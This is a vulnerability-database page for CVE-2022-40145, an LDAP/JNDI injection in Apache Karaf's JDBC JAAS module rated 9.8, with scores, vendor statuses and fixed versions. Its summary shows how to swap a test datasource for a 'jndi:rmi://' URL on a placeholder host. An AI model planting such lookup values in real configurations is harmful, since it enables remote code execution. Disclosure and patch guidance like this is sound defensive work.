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Fencer Vulns
critical 9.8

CVE-2022-40145 json

Apache Karaf: JDBC JAAS LDAP injection

published 2022-12-21 3 y ago modified 2026-06-17 4 mo ago also GHSA-c2p4-8mvv-rwmv , EUVD-2022-7591

cvss
9.8
version 3.1, CNA
cisa kev
Not listed
not in CISA's catalog
epss
2.6%
EPSS 2.6% chance of exploitation in 30 days, percentile 85%
public exploits
0
none known

Summary

This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.

The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup.

This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.

We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

Patch / fix

  • maven org.apache.karaf:apache-karaf 4.3.8, 4.4.2
  • Apache Software Foundation Apache Karaf 4.3.8, 4.4.2

Vendor advisories

What the vendors themselves say about their products: affected, fixed or not affected, and what to do.

red hat product security vex CVE-2022-40145 updated cvss 9.8

karaf: JDBC JAAS LDAP injection

  • Red Hat JBoss A-MQ 6 karaf karaf Red Hat JBoss Data Grid 7 karaf karaf Red Hat JBoss Fuse 6 Karaf Karaf
    affected: workaround, no fix planned “No mitigation is currently available.”
  • Red Hat Decision Manager 7 Karaf Karaf Red Hat Fuse 7 Karaf Karaf Red Hat Process Automation 7 karaf karaf
    not affected: vulnerable code not present

Red Hat CSAF VEX © Red Hat, Inc., from https://security.access.redhat.com/data/csaf/v2/vex/; changed: reduced to product statuses and remediations. CC BY 4.0 · csaf

CISA SSVC

Exploitation
none
Automatable
yes
Technical impact
total
Assessed
18 mo ago

Exploit prediction

2.60% chance of exploitation in the next 30 days, higher than 85% of all scored CVEs (FIRST EPSS, 2026-11-08).

CVSS scores

assigned by version score vector
CISA ADP 3.1 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NVD 3.1 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNA 3.1 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
GitHub 3.1 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected packages

ecosystem package affected fixed in
maven org.apache.karaf:apache-karaf
<4.3.8
>=4.4.0, <4.4.2
4.3.8
4.4.2

Affected products

  • Apache Software Foundation Apache Karaf

Classification

Weakness
  • CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component
  • CWE-20 Improper Input Validation

References

Sources

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